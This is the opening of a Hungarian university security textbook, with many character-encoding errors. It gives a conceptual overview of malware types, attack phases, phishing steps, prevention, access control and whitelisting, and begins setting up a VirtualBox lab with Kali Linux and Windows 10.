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ELŕSZč 

A szoftverrendszerek biztons§ga egyre jelentŖsebb® v§lik a digit§lis korban, amikor 

az információkezelés és a hálózati kapcsolatok elengedhetetlen részei a mindennapi 

®letnek. A ĂSzoftverrendszerek biztons§gaò c²mŤ egyetemi jegyzet m§sodik kiad§sa 

abban a reményben készült, hogy támogatást nyújtson a hallgatóknak és a gyakorló 

szakembereknek a szoftveres biztonság elméleti és gyakorlati alapjainak 

meg®rt®s®ben. Az elsŖ kiad§s 2021-ben jelent meg az EFOP 3.4.3-16-2016-00015 

sz§m¼, ĂFŕNIX ME ï Megújuló Egyetem felsŖoktat§si int®zm®nyi fejleszt®sek a 

felsŖfok¼ oktat§s minŖs®g®nek ®s hozz§f®rhetŖs®g®nek egy¿ttes jav²t§sa ®rdek®benò 

t§mogat§s§nak kºszºnhetŖen. Kºszºnet¿nket fejezz¿k ki ez®rt a t§mogat§s®rt, amely 

lehetŖv® tette, hogy a jegyzet megsz¿lessen ®s hasznos, hozz§f®rhetŖ tananyaggal 

lássa el a diákokat és az oktatókat. 

Az elsŖ kiad§s megjelen®se ·ta eltelt idŖben a szoftverbiztons§g ter®n bekºvetkezett 

változások, új technológiák és támadási módszerek szükségessé tették a jegyzet 

friss²t®s®t. Az informatika vil§ga gyors ¿temben fejlŖdik, ®s a szoftverbiztons§g sem 

kivétel. Újabb és kifinomultabb támadási technikák jelentek meg, amelyek 

folyamatos kih²v§st jelentenek a szoftverfejlesztŖk, rendszergazd§k ®s biztons§gi 

szak®rtŖk sz§m§ra. Ez a jegyzet a kor§bbi kiad§shoz k®pest m·dos²tott ®s jav²tott 

tartalommal tér vissza, célzottan az elavult részek frissítésével és hibák kijavításával, 

hogy naprakész és releváns ismeretekkel támogassa az olvasókat. 

A jegyzet elsŖsorban a megegyezŖ nevŤ tant§rgy hallgat·inak k®sz¿lt. A tant§rgy 

feldolgozásához szükséges elméleti és gyakorlati ismereteket ismerteti a 

szoftverrendszerek biztonsága terén. Fontos cél, hogy az olvasók képesek legyenek 

felismerni és megérteni a különféle fenyegetéseket és azok hatásait, valamint 

kialak²tani a megfelelŖ v®dekez®si strat®gi§kat. 

A szoftverrendszerek biztons§ga nem csup§n a rendszerek biztons§gos mŤkºd®s®nek 

fenntartását foglalja magában, hanem az adattárolás, az adatvédelem és az 

adatkezelés kérdéseire is fókuszál. Az információbiztonság a modern rendszerek 

minden területére kiterjed, legyen sz· p®nz¿gyi tranzakci·k v®delm®rŖl, 

eg®szs®g¿gyi adatok bizalmas kezel®s®rŖl vagy ak§r h®tkºznapi adatkezel®srŖl.  

A jegyzetben szereplŖ t®makºrºk gyakorlati p®ld§kkal eg®sz¿lnek ki, amelyek 

segítenek az elmélet és a gyakorlat közötti kapcsolat megértésében. A példák célja, 

hogy az olvasók számára világosabbá tegyék az egyes technikák és eljárások 

alkalmazási módjait, valamint azok jelentŖs®g®t a szoftverbiztons§g ter¿let®n. Az 

¼jabb kiad§sban tal§lhat· hibajav²t§sok ®s kieg®sz²t®sek elŖseg²tik, hogy az olvas·k 



ELŕSZč  

 

 7 

 

megb²zhat·, pontos forr§sra t§maszkodhassanak, amely felk®sz²ti Ŗket a val·s 

kºrnyezetekben jelentkezŖ biztons§gi kih²v§sok kezel®s®re. 

A m§sodik kiad§s sz§nd®kosan az oktat§s ®s a hozz§f®rhetŖs®g jav²t§s§t c®lozza, ²gy 

sz®les kºrben hasznos tananyagk®nt szolg§lhat a k¿lºnbºzŖ szintŤ egyetemi k®pz®sek 

során. Az anyag átdolgozásánál figyelembe vettük a hallgatói és oktatói 

visszajelzéseket is, hogy a jegyzet m®g §tl§that·bb ®s ®rthetŖbb legyen, ®s a leg¼jabb 

fejlesztésekkel, technológiai változásokkal lépést tartson. 

A jegyzet most, a második kiadásban ismét készen áll arra, hogy útmutatóként 

szolgáljon mindazok számára, akik a szoftverek biztonságának kérdéseivel 

foglalkoznak, legyen sz· egyetemi hallgat·kr·l, szakemberekrŖl vagy ak§r 

kutatókról. Reméljük, hogy a frissített kiadás mélyebb megértést és gyakorlati 

segítséget nyújt az olvasóknak, és hogy ezzel a fejlesztéssel hozzájárulunk a 

biztonságosabb és fenntarthatóbb szoftverrendszerek megvalósításához.   
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BEVEZETÉS 

VÍRUSOK ÉS FÉRGEK 

Kártékony programok  

A rosszindulatú szoftverek, más néven malware, malicious software, malicious code, 

vagy rövidítve malcode, olyan programok vagy kódrészletek, amelyeket szándékosan 

úgy programoztak, hogy ártó tevékenységeket végezzenek a felhasználók 

beleegyez®se vagy tudta n®lk¿l. Az angol nyelvŤ szakirodalom k¿lºnf®le 

kifejezéseket használ ezen szoftverek megnevezésére, de mind ugyanazt a célt 

szolgálják: ezek a programok kifejezetten arra készültek, hogy kárt tegyenek a 

rendszerekben, adatokat lopjanak, vagy más, a felhasználó akaratával ellentétes 

tevékenységeket hajtsanak végre. 

A rosszindulatú szoftverek célja sokféle lehet. Egyes programok adatokat lopnak, 

például jelszavakat, banki információkat, vagy más személyes és érzékeny adatokat, 

amelyeket k®sŖbb a t§mad· felhaszn§lhat vagy eladhat a feketepiacon. M§s malware 

típusok arra készülnek, hogy kárt okozzanak a rendszerben, például törölnek fájlokat, 

korrumpálják az adatokat, vagy akár teljesen használhatatlanná teszik a számítógépet. 

Számos rosszindulatú szoftver törvénytelen tevékenységeket hajt végre: például 

spam küldésére vagy hálózati t§mad§sok (DoS) v®grehajt§s§ra haszn§lj§k a fertŖzºtt 

rendszereket. Emellett elŖfordul, hogy a malware egyszerŤen megzavarja a rendszert 

a felhasználó számára, így a rendszer mŤkºd®se lassulhat, instabillá válhat, vagy 

olyan hibákat okozhat, amelyek megnehezítik a számítógép használatát. 

A rosszindulat¼ programok gyakran felhaszn§lj§k a fertŖzºtt g®p erŖforr§sait an®lk¿l, 

hogy a felhasználó ezt tudná. Ez magában foglalhatja a processzor vagy memória 

erŖforr§sainak t¼lzott ig®nybev®tel®t, amely lelass²tja a sz§m²t·g®pet, vagy nagyobb 

mértékben megterheli a rendszer hardveres komponenseit. Egyes malware-ek például 

rejtett kriptovaluta-bányász szoftverek, amelyek kihasználják a számítógép 

processzorteljes²tm®ny®t, ²gy jelentŖs m®rt®kben csºkkentik az eszkºz teljes²tm®ny®t 

és élettartamát. Más esetekben a háttértár túlzott használata vagy a rendszerben zajló 

adatforgalom növelése okozhat problémákat, amelyeket a felhasználó akaratán kívül, 

az Ŗ erŖforr§sait kihaszn§lva hajtanak v®gre. 

A rosszindulat¼ szoftverek sz§mos t²pusa l®tezik, ®s ezek k¿lºnbºzŖ m·dszerekkel 

pr·b§lj§k megfertŖzni ®s kihaszn§lni a rendszereket. Az al§bbiakban ismertetett 
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kateg·ri§k a malware k¿lºnbºzŖ oszt§lyait k®pviselik, mindegyik elt®rŖ c®llal ®s 

mŤkºd®si m·dszerrel rendelkezik: 

A kártékony kódok fajtái  

Vírusok: A v²rusok olyan rosszindulat¼ programok, amelyek fertŖzºtt f§jlokhoz 

csatolva terjednek. A vírusok akkor aktiválódnak, amikor a felhasználó megnyitja 

vagy futtatja a fertŖzºtt f§jlt, ami lehetŖv® teszi, hogy a v²rus terjedjen ®s k§ros²tsa a 

rendszert. Ezek a programok gyakran fájlokat vagy rendszerelemeket támadnak meg, 

és károsíthatják vagy törölhetik az adatokat, esetenként teljes rendszereket tehetnek 

tönkre. A számítógépes vírus lemásolja magát és beszúrja magát valamelyik 

programba, részévé válik annak. A vírusok egy része csupán valami bosszantó dolgot 

tesz. Van, ami az adatainkban okoz kárt, és van, amelyik szolgáltatásmegtagadási 

támadásokat (denial-of-service, DOS) okoz. Mivel legtöbbször a vírus egy 

v®grehajthat· §llom§nyban b¼jik meg. A megfertŖzŖdºtt gazdaprogram ak§r 

tov§bbra is mŤkºdŖk®pes maradhat. Van olyan v²rus is, amelyik elpuszt²tja a 

gazdaprogramját.  

A v²rusok sz§mos ¼ton ker¿lhetnek be a sz§m²t·g®pre, mivel a kiberbŤnºzŖk 

k¿lºnf®le m·dszerekkel igyekeznek a rendszereket megfertŖzni. A leggyakoribb 

terjed®si m·dok a kºvetkezŖk: 

Å Hálózat: Az internet vagy helyi hálózatok segítségével a vírusok könnyen 

elérhetik a számítógépet, különösen ha a hálózati biztonsági beállítások 

nem megfelelŖek. A t§mad·k gyakran h§l·zati sebezhetŖs®geket 

használnak ki, hogy vírusokat küldjenek az eszközökre, vagy távolról, 

más hálózati eszközökön keresztül próbálnak hozzáférést szerezni a 

számítógéphez. Például egy hálózati féreg automatikusan továbbíthatja 

mag§t a h§l·zaton kereszt¿l, megfertŖzve tºbb sz§m²t·g®pet is. 

Å K¿lsŖ mem·ria: A pendrive-ok, k¿lsŖ merevlemezek ®s egy®b 

hordozhat· eszkºzºk gyakori terjesztŖi lehetnek a v²rusoknak. Amikor 

egy fertŖzºtt eszkºzt csatlakoztatunk a sz§m²t·g®phez, a rajta l®vŖ v²rus 

aktiválódhat és terjedhet a rendszerben. Ez különösen gyakori olyan 

esetekben, amikor az eszkºz biztons§gi szŤr®se nem megfelelŖ vagy 

hiányzik, és a felhasználó nem figyel arra, hogy tiszta eszközöket 

használjon. 

Å Fájlmegosztás: Fájlmegosztó hálózatokon, például peer-to-peer (P2P) 

platformokon keresztül gyakran terjednek vírusok. A letöltött fájlok, 

legyenek akár filmek, szoftverek vagy dokumentumok, sok esetben 

fertŖzºttek lehetnek, ®s ®szrev®tlen¿l tov§bb²thatj§k a vírust a 

sz§m²t·g®pre. A f§jlmegoszt· rendszerek kontroll§lt ellenŖrz®se 

hiányában a vírusok könnyen elterjedhetnek, és a felhasználók tudta 

n®lk¿l fertŖzhetik meg az eszkºzt. 
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Å E-mail melléklet: Az e-mailes vírusok továbbra is az egyik leggyakoribb 

támadási módszert jelentik. A rosszindulatú mellékleteket vagy linkeket 

tartalmazó e-mailek célja, hogy rászedjék a felhasználót a fájl 

megnyitására vagy a linkre kattintásra. A megnyitás után a vírus 

aktiv§l·dhat, ®s azonnal megfertŖzi a rendszert. Az adathal§sz e-mailek, 

amelyek megbízható forrásnak álcázzák magukat, szintén gyakran 

tartalmaznak ilyen rosszindulatú kódot. 

Å Rendszerfrissítés: Bár a rendszerfrissítések általában a biztonság 

nºvel®s®t szolg§lj§k, elŖfordulhat, hogy hamis vagy manipul§lt 

frissítések révén vírusok kerülnek a számítógépre. A támadók hamis 

frissítési értesítéseket küldhetnek, amelyek rosszindulatú szoftverek 

telepítésére sarkallják a felhasználókat. Ha a felhasználó nem a hivatalos 

forrásokból tölti le a frissítéseket, a rendszer sérülékennyé válik a 

támadásokkal szemben. 

Å Lemez vagy egyéb adathordozó: A hagyományos adathordozók, mint a 

CD-k, DVD-k vagy r®gebbi t²pus¼ m§gneslemezek, szint®n fertŖzºtt 

fájlokat tartalmazhatnak, amelyek a lemez behelyezésekor elindulhatnak. 

Amikor egy fertŖzºtt lemezt a sz§m²t·g®pbe helyeznek, a rendszer 

automatikusan elind²thatja a rajta l®vŖ rosszindulat¼ k·dot, ²gy a v²rus 

könnyen terjed. Bár ezek a módszerek ma már ritkábbak, még mindig 

elŖfordulhatnak k¿lºnleges kºrnyezetekben vagy r®gebbi 

számítógépeken 

Férgek: A f®rgek ºn§ll·an mŤkºdnek, ®s nincs sz¿ks®g¿k a felhaszn§l· 

kºzremŤkºd®s®re a terjed®shez. H§l·zatokon kereszt¿l k®pesek terjedni, ®s gyakran 

az eg®sz rendszert fertŖzºtt® teszik rºvid idŖn bel¿l. A féreg egy különálló program. 

Nem kell neki gazdafájl a terjeszkedéshez. Mivel önállóan képesek másolni magukat 

®s tov§bb²tani a fertŖz®st, gyakran h§l·zati t¼lterhel®st okoznak, ®s lass²tj§k vagy 

megbénítják a rendszereket. A férgek gyakran kihasználják a hálózati 

sérülékenységeket, és nagy kárt okozhatnak a hálózati infrastruktúrában.  

Trójaiak : A trójai programok olyan rosszindulatú szoftverek, amelyek ártalmatlan 

vagy hasznos programnak álcázzák magukat, miközben valójában káros 

tevékenységet végeznek. A trójai a görög faló után kapta a nevét. Általában valami 

trükk segítségével jutnak be a rendszerbe. A felhasználók gyakran egy látszólag 

megb²zhat· f§jl vagy alkalmaz§s letºlt®sekor ®s futtat§sakor telep²tik Ŗket. A trójaiak 

nem másolják le magukat A trójaiak károkozási listáján szerepel az adatlopás, adatok 

lekódolása, hátsó ajtók kinyitása más kártékony kód számára, amellyel a támadó 

hozz§f®r®st nyerhet a sz§m²t·g®phez, adatokat lophat vagy m§s k§ros mŤveleteket 

végezhet. 

Botok: A számítógépes botok neve a robot sz·b·l egyszerŤsºdºtt ki. Ezek 

automatikus eljárások. .A botok olyan rosszindulatú szoftverek, amelyek a rendszert 

Ăbotò-tá, vagyis egy távoli parancsok végrehajtására alkalmas eszközzé alakítják. A 
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megfertŖzºtt sz§m²t·g®pek ²gy egy nagyobb h§l·zat, ¼gynevezett botnet (robot 

hálózat) részévé válnak, amelyet gyakran elosztott szolgáltatásmegtagadási (DDoS) 

t§mad§sok v®grehajt§s§ra, spamk¿ld®sre vagy m§s bŤncselekm®nyekhez haszn§lnak. 

A botok ºn§ll·an ®s csendben mŤkºdnek, gyakran a felhaszn§l· tudta n®lk¿l, ®s 

folyamatosan el®rhetŖk a támadó parancsai számára. 

Ezeken a fŖ kateg·ri§kon k²v¿l l®teznek m§s t²pusok is, p®ld§ul zsarolóprogramok 

(ransomware), amelyek titkosítják az áldozat fájljait, és csak váltságdíj ellenében 

ajánlanak hozzáférést, vagy kémszoftverek (spyware), amelyek célja, hogy figyeljék 

és továbbítsák a felhasználó tevékenységét a támadónak. A rosszindulatú szoftverek 

minden kateg·ri§j§nak megvan a maga jellemzŖ t§mad§si m·dszere ®s c®lja, de 

mindegyik azzal a céllal készült, hogy kihasználja, károsítsa, vagy kémkedjen a 

rendszerekben és a felhasználók adatain. 

A támadás fázisait angol nyelven öt ôPô betŤs sz·val szok§s le²rni [2]: 

 

1. ábra A támadás fázisai 

Probe ï Puhatolózás: a célpontok azonosítása 

Penetrate ï Behatolás: - rosszindulatú kód továbbítása a célpontjához 

Persist ï Ragaszkodás: a rosszindulatú programok megpróbálnak a rendszerben 

maradni 

Propagate ï Kiterjesztés: kiterjesztés más rendszerekre 

Paralyze ï Paralizálás: - a rosszindulatú programok kárt okoznak 

Terjedési módok 

Becslések szerint kiberbŤnözés okozta kár 6,000,000,000,000 USD (hattrillió $), 

Minden másodpercben 12 ember válik áldozattá. A Security Intelligence Report [3] 

statisztikái alapján a rosszindulatú kód elterjedése az alábbi módokon valósul meg: 

¶ Felhasználói beavatkozás - 44.8% 

¶ AutoRun: USB - 26% 

¶ AutoRun: Hálózat - 17.2% 

¶ F§jl fertŖzŖd®s - 4.4% 

¶ SebezhetŖs®g: A friss²t®s r®g·ta el®rhetŖ - 3.2% 

¶ SebezhetŖs®g: A friss²t®s el®rhetŖ - 2.4% 

¶ Jelszó feltörés (Brute Force) - 1.4% 

¶ Office makrók - 0.3% 

¶ SebezhetŖs®g: Zero Day - 0% 
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2. ábra Malware terjedési módok eloszlása 

A megelŖz®s 

A sz§m²t·g®pes rendszerek ®s az adatbiztons§g v®delm®nek egyik alapvetŖ kulcsa a 

megelŖz®s, amely lehetŖv® teszi, hogy elker¿lj¿k a rosszindulat¼ programok, v²rusok 

és egyéb fenyegetések okozta károkat. A hatékony védekezés érdekében számos 

óvintézkedést kell alkalmazni, hogy minimalizáljuk a biztonsági kockázatokat, és 

növeljük a rendszerek védettségét. 

A megelŖz®s elsŖ l®p®se a kºr¿ltekintŖ felhaszn§l·i magatart§s, ami magában 

foglalja az ismeretlen forrásokból származó ingyenes és kalóz szoftverek elkerülését. 

Ezek a programok gyakran tartalmaznak rosszindulatú kódokat, amelyek könnyen 

megfertŖzhetik a sz§m²t·g®pet. Ez®rt ®rdemes csak megb²zhat· ®s ellenŖrzºtt 

forrásokból származó szoftvereket telepíteni. 

A privilegizált  (például adminisztrátori vagy root) fiókok használatának elkerülése 

is fontos, amikor ez nem feltétlenül szükséges. A privilegizált fiókok nagyobb 

hozz§f®r®st biztos²tanak a rendszerkritikus erŖforr§sokhoz, ²gy a t§mad·k sz§m§ra 

vonzóbb célponttá válhatnak. Csak akkor használjunk ilyen fiókokat, ha 

elengedhetetlen a rendszeradminisztrációhoz. 

 

Malware terjedés

Felhasználói beavatkozás AutoRun USB

AutoRun: Hálózat CłƧƭ ŦŜǊǘǃȊǃŘŞǎ

{ŜōŜȊƘŜǘǃǎŞƎΥ ! ŦǊƛǎǎƝǘŞǎ ǊŞƎƽǘŀ ŜƭŞǊƘŜǘǃ{ŜōŜȊƘŜǘǃǎŞƎΥ ! ŦǊƛǎǎƝǘŞǎ ŜƭŞǊƘŜǘǃ

Jelszó feltörés (Brute Force) Office makrók

{ŜōŜȊƘŜǘǃǎŞƎΥ ½ŜǊƻ 5ŀȅ
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Ezen kívül biztonságos konfigurációk alkalmazása is létfontosságú, hogy 

minimaliz§ljuk a sebezhetŖs®geket. A rendszerkonfigur§ci·k megfelelŖ be§ll²t§sa, 

p®ld§ul a f§jljogosults§gok, a tŤzfalak ®s az enged®lyek gondos szab§lyoz§sa 

megakadályozhatja a rosszindulatú programok terjedését. 

A rendszer naprakészen tartása elengedhetetlen a védelem érdekében, különösen 

a bºng®szŖ, az e-mail kliens és az operációs rendszer frissítése szempontjából. A 

biztons§gi friss²t®sek gyakran olyan sebezhetŖs®geket orvosolnak, amelyeket a 

rosszindulatú programok kihasználhatnak, ezért ezeket rendszeresen telepíteni kell. 

A frissíthetetlen számítógépek elkülönítése fontos óvintézkedés, mivel az elavult 

rendszerek sebezhetŖbbek lehetnek. Az ilyen rendszereket a tºbbi h§l·zatt·l 

elk¿lºn²tve ®rdemes mŤkºdtetni, hogy ne jelentsenek vesz®lyt a friss²tett, biztons§gos 

eszközökre. 

A biztonság növelése érdekében érdemes további védelmi eszközöket alkalmazni a 

bºng®szŖhºz ®s az e-mail klienshez, valamint használni egy biztonságos e-mail 

§tj§r·t, amely szŤri a bejºvŖ ¿zeneteket. A biztons§gos §tj§r·k megakad§lyozhatj§k 

a rosszindulatú e-mailek célba érését, amelyek gyakran tartalmaznak adathalász vagy 

káros linkeket. 

A számítógép védelmének fontos része a rosszindulatú programok elleni szoftverek 

használata is. Az ilyen szoftverek, például a vírusirtók  és kémprogram-elhárítók, 

val·s idŖben figyelik ®s blokkolj§k a k§ros tev®kenys®geket, megakad§lyozva a 

rosszindulatú programok terjedését és bejutását a rendszerbe. 

A val·s idejŤ h§l·zati v®delem ugyancsak alapvetŖ fontoss§g¼. A tŤzfalak ®s a 

behatolásvédelmi rendszerek (IDS) figyelik a hálózati forgalmat, és képesek 

azonos²tani, blokkolni ®s jelenteni a gyan¼s tev®kenys®geket. Ez§ltal megelŖzhetŖk 

a különféle hálózati támadások, mint például a szolgáltatásmegtagadási (DDoS) 

támadások. 

Végül a felhasználók képzése a gyanakvásra szintén kulcsfontosságú, hiszen az 

emberi t®nyezŖ jelentŖs szerepet j§tszik a v®delemben. A felhaszn§l·knak meg kell 

tanulniuk felismerni a gyanús e-maileket, linkeket és letöltéseket, és tisztában kell 

lenniük azzal, hogyan kerülhetik el a kock§zatos viselked®st. A megfelelŖ oktat§s 

csökkenti a véletlen hibák esélyét, és javítja a védekezési hatékonyságot. 

A hozzáférés szabályozása 

A hozz§f®r®sek szab§lyoz§sa alapvetŖ fontoss§g¼ a rendszerek biztons§g§nak 

megŖrz®s®hez, mivel korl§tozza az egyes felhaszn§l·k ®s alkalmaz§sok hozz§f®r®s®t 

a rendszer erŖforr§saihoz, adatb§zisaihoz ®s h§l·zati elemeihez. A megfelelŖen 

szabályozott hozzáférések csökkentik a jogosulatlan hozzáférések és a támadások 

kockázatát. 
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Az egyik legfontosabb elv a legkevesebb szükséges jogosultság használata. Ez azt 

jelenti, hogy minden felhasználónak és alkalmazásnak csak annyi jogosultságot 

adunk, amennyire feltétlenül szüksége van feladatai ellátásához. Ha egy alkalmazás 

vagy felhasználó túlzott jogosultságot kap, az növeli a támadások kockázatát, mivel 

egy esetleges sebezhetŖs®g kihaszn§l§sa r®v®n nagyobb k§rokat lehet okozni. 

A hálózati szegmentálás a biztonságot szolgálja azáltal, hogy elkülöníti a hálózat 

k¿lºnbºzŖ r®szeit, ²gy egy potenci§lis t§mad§s eset®n a t§mad· nem f®rhet hozz§ az 

ºsszes h§l·zati erŖforr§shoz egyszerre. A szegment§l§s sor§n k¿lºn biztons§gi 

szabályokat alkalmazunk az egyes hál·zati szegmensekre, ²gy p®ld§ul a belsŖ 

h§l·zatot ®s a k¿lsŖ kapcsolatokat k¿lºnv§lasztjuk. Ez§ltal ha egy r®sz t§mad§s al§ 

kerül, a többi szegmens védett marad. 

Az alkalmazásoknak adott engedélyek kiadásakor fontos az óvatosság, mivel egyes 

alkalmazások hozzáférést kérhetnek a személyes adatokhoz, fájlokhoz vagy akár a 

kamera és a mikrofon használatához is. Fontos, hogy csak azokra az engedélyekre 

adjunk jogosultságot, amelyekre az adott alkalmazásnak ténylegesen szüksége lehet. 

Ha egy alkalmazás túl sok hozzáférést kap, az adataink veszélybe kerülhetnek, és 

könnyebben kihasználhatóvá válhat a rendszer. 

Az alkalmazások megbízható forrásb·l val· letºlt®se szint®n jelentŖs szerepet 

játszik a biztonságban. Az App Store, Google Play vagy hivatalos szoftveroldalak 

§ltal§ban ellenŖrzik az alkalmaz§sokat, mielŖtt enged®lyezik a letºlt®s¿ket. Az 

ismeretlen forrásokból származó alkalmazások nagyobb val·sz²nŤs®ggel 

tartalmazhatnak rosszindulatú kódokat, amelyek veszélyeztetik a rendszert. 

A felhasználói korlátozási szabályok bevezetése az alkalmazások futtatásakor segít 

abban, hogy a felhasználók és alkalmazások korlátozott jogosultságokkal 

mŤkºdjenek. Az ilyen szabályok megakadályozzák, hogy az alkalmazások 

adminisztrat²v szintŤ hozz§f®r®st kapjanak a rendszerhez, ²gy egy esetleges 

sebezhetŖs®g eset®n a k§rt®kony k·d nem k®pes a teljes rendszerben elterjedni. 

Végül, a megbízható alkalmazások fehérlistájának (whitelist) használata fontos 

·vint®zked®s, amellyel biztos²thatjuk, hogy csak ellenŖrzºtt ®s megb²zhat· 

alkalmaz§sok futhassanak a rendszeren. A whitelisting m·dszerrel elŖre kiv§lasztjuk 

azokat az alkalmazásokat, amelyeket engedélyezünk, és minden más program 

futtatását blokkoljuk. Ezáltal csökken annak esélye, hogy rosszindulatú szoftverek 

kerüljenek a rendszerbe. ElŖnyºsebb, ha nem fekete listát (blacklist), hanem 

whitelistet használunk a nem kívánt alkalmazások és folyamatok kezelésére. A 

feketelista olyan megközelítés, amelyben felsoroljuk azokat az alkalmazásokat, 

weboldalakat vagy folyamatokat, amelyeket blokkolni kívánunk, míg a whitelist  

azokat tartalmazza, amelyeket kifejezetten engedélyezünk.  

A feketelisták hátránya, hogy gyakran hiányosak, és csak az ismert fenyegetéseket 

tartalmazzák. Az új, ismeretlen vagy frissen létrehozott rosszindulatú programok, 
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URL-ek és kódok könnyen megkerülhetik a feketelistát, mivel ezek még nem 

szerepelnek a listán. A támadók folyamatosan új technikákat és módszereket 

dolgoznak ki a korl§toz§sok megker¿l®s®re, ®s mivel a feketelist§n szereplŖ elemeket 

rendszeresen frissíteni kell, gyakran nem tudják lépést tartani az új fenyegetésekkel. 

Ez nºveli a rendszer sebezhetŖs®g®t, mivel mindig lehetnek olyan rosszindulat¼ 

programok vagy alkalmazások, amelyek még nem kerültek be a listába. 

A whitelist használatával viszont egy proaktív megközelítést alkalmazunk, amely 

biztons§gosabb kºrnyezetet biztos²t, hiszen csak az elŖre j·v§hagyott, ellenŖrzºtt ®s 

megbízható alkalmazások, folyamatok vagy weboldalak férhetnek hozzá a 

rendszerhez vagy a hálózathoz. A whitelistelés során minden más alkalmazás vagy 

weboldal alapértelmezetten blokkolva van, kivéve azokat, amelyeket explicit módon 

engedélyeztünk. Ezáltal minimalizáljuk a kockázatot, mivel csak a megbízható, már 

tesztelt elemek kerülhetnek be a rendszerbe. 

A feh®rlista elŖnye, hogy csºkkenti a t§mad§si fel¿letet ®s az adatsziv§rg§s es®ly®t, 

mivel kizárja a potenciálisan veszélyes szoftvereket és folyamatokat. A támadóknak 

sokkal nehezebb dolguk van, ha egy jól összeállított whitelistet kell megkerülniük, 

mivel csak az engedélyezett programok futtatását engedélyezi a rendszer. A whitelist 

ugyanakkor könnyen testreszabható az adott környezet vagy szervezet igényeihez, 

²gy minden sz¿ks®ges program ®s szolg§ltat§s enged®lyezhetŖ, mikºzben a nem 

kívánatos elemek blokkolva maradnak. 

Whitelisting használatakor érdemes figyelembe venni, hogy ez a megközelítés 

részletesebb tervezést és folyamatos karbantartást igényel, mivel minden egyes új 

alkalmaz§s vagy folyamat eset®ben k¿lºn enged®lyez®st kell be§ll²tani. Az elŖnyºk 

azonban jelentŖsek, különösen a nagyobb biztonsági kockázatú vagy érzékeny 

adatokat kezelŖ rendszerek eset®ben, ahol az adatv®delem ®s a biztons§g elsŖdleges 

szempont. 

Adathalász támadások 

Eg®szen n®h§ny ®vvel ezelŖttig a kiberbŤnºzŖk erŖfesz²t®seiket a rosszindulat¼ 

programokra, az ezekkel végzett támadásokra összpontosították, mert ezek nyújtották 

a legnagyobb megtérülést. Újabban az adathalász támadásokra helyezték a hangsúlyt 

(~ 70%) azzal a c®llal, hogy felhaszn§l·i adatokat gyŤjtsenek. [5] L®p®sei a 

kºvetkezŖk: 

1. A bŤnºzŖk elŖk®sz²tik infrastrukt¼r§jukat pl.: kompromitt§lt vagy hamis 

tartományokat (domaineket). Ezzel inform§ci·t gyŤjtenek a lehets®ges 

célpontokról. 

2. Rosszindulatú e-mail üzenetek küldése. 

3. Az áldozatot a hamis tartományba irányítják. 

4. Az §ldozat hamis Ťrlapba ²rja be a hiteles²tŖ adatokat, vagy az §ldozat letºlt 

egy rosszindulat¼ programot, amely hiteles²tŖ adatokat gyŤjt az eszkºzºn. 
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5. A bŤnºzŖk hozz§f®rnek az §ldozat h§l·zat§hoz. A bŤnºzŖk ugyanazokat a 

hiteles²tŖ adatokat haszn§lj§k m§s webhelyeken. 

 

3. ábra Az adathalászat lépései 
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A SZÁMÍTÓGÉPES KÖRNYEZET 

KIALAKÍTÁSA  

Ez a fejezet bemutatja egy virtuális környezetet kialakítását. Két operációs rendszert 

fogunk használni: Kali Linuxot és Windows 10-et. ElŖbbi a Ăvizsg§l·ò oper§ci·s 

rendszer lesz, utóbbi a vizsgálat célpontja. 

A VIRTUALIZÁCIÓ SZEREPE 

A virtualiz§ci· a sz§m²t·g®pes biztons§gi oktat§sban alapvetŖ szerepet j§tszik, mert 

számos olyan elŖnnyel j§r, amelyeket fizikai kºrnyezetben neh®z lenne 

megval·s²tani. Az egyik legfontosabb elŖnye az izol§ci·, amely biztons§gos 

elk¿lºn²t®st tesz lehetŖv® a rendszer egyes elemei kºzºtt. Ez k¿lºnºsen l®nyeges 

biztonsági tesztek esetén, mert így a potenci§lisan vesz®lyes mŤveletek ï például egy 

vírusvizsgálat vagy etikus hackelési gyakorlat ï nem veszélyeztetik a gazda operációs 

rendszert és az azon tárolt adatokat. 

A virtualiz§ci· m§sik kiemelt elŖnye a gyors vissza§ll²that·s§g ®s telep²thetŖs®g. A 

virtu§lis g®pek kºnnyed®n menthetŖk ®s vissza§ll²that·k, ²gy ha a gyakorlatok sor§n 

valami hiba tºrt®nik, gyorsan ®s kºvetkezm®nyek n®lk¿l visszat®rhet¿nk egy elŖzŖ, 

biztons§gos §llapothoz. A virtu§lis kºrnyezetek haszn§lata lehetŖv® teszi az 

olvasónak az egyes technikák kipróbálását, úgy, hogy nem kell tartaniuk a hibák 

hossz¼ t§v¼ kºvetkezm®nyeitŖl. 

A kºlts®ghat®konys§g is kiemelendŖ, hiszen egyetlen g®p k®pes tºbb oper§ci·s 

rendszert futtatni, amivel csºkkenthetŖk az eszkºzig®nyek. Oktat§si kºrnyezetben ez 

ide§lis megold§st k²n§l, hiszen egyszerre tºbb rendszerrel ®s gyakorlatilag tetszŖleges 

konfigurációval dolgozhatunk anélkül, hogy külön hardverre lenne szükség. Ez nem 

csup§n a Windows ®s a Kali Linux egy¿ttes haszn§lat§t teszi lehetŖv®, hanem 

biztonságos gyakorlókörnyezetet is biztosít olyan szimulációk számára, amelyek 

sor§n k¿lºnbºzŖ t§mad§sokat és hálózati vizsgálatokat végeznek a diákok. 

A virtualiz§ci· ezenk²v¿l rugalmass§got ®s sk§l§zhat·s§got biztos²t, amely lehetŖv® 

teszi különféle konfigurációk létrehozását, ahol többféle támadási felületet vagy 

védelmi stratégiát lehet tesztelni. Az ilyen dinamikus környezetben való tanulás 

val·s§ghŤ tapasztalatokat ny¼jt, ®s jobban felk®sz²ti a hallgat·kat a k¿lºnbºzŖ 

biztonsági helyzetek kezelésére.  
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VIRTUÁLIS KÖRNYEZET TELEPÍTÉSE 

A szoftver virtualiz§ci· lehetŖv® teszi, hogy egy gazda sz§m²t·g®pen egy vagy tºbb 

virtuális munkakörnyezet legyen, például egy másik operációs rendszer. Így 

kialak²thatunk egy Ăj§tsz·teretò a biztons§gi teszteknek, amelyeket an®lk¿l tudunk 

végrehajtani, hogy az ®lŖ rendszer¿nket elrontan§nk. 

Az Oracle ingyenes VirtualBox nevŤ rendszer®t fogjuk haszn§lni. A jegyzet írásakor 

a v6.1 a legfrissebb verzió. A letöltési oldal:  

https://www.virtualbox.org/wiki/Downloads 

 

4. ábra VirtualBox telepítés 

A teljes telepítési útmutató [1] részletesen leírja a telepítés minden aspektusát. Ebben 

a jegyzetben a Windows gazdaszámítógépre való telepítés menetét írjuk le. Töltsük 

le az alkalmazást és indítsuk el a telepítést. 

https://www.virtualbox.org/wiki/Downloads
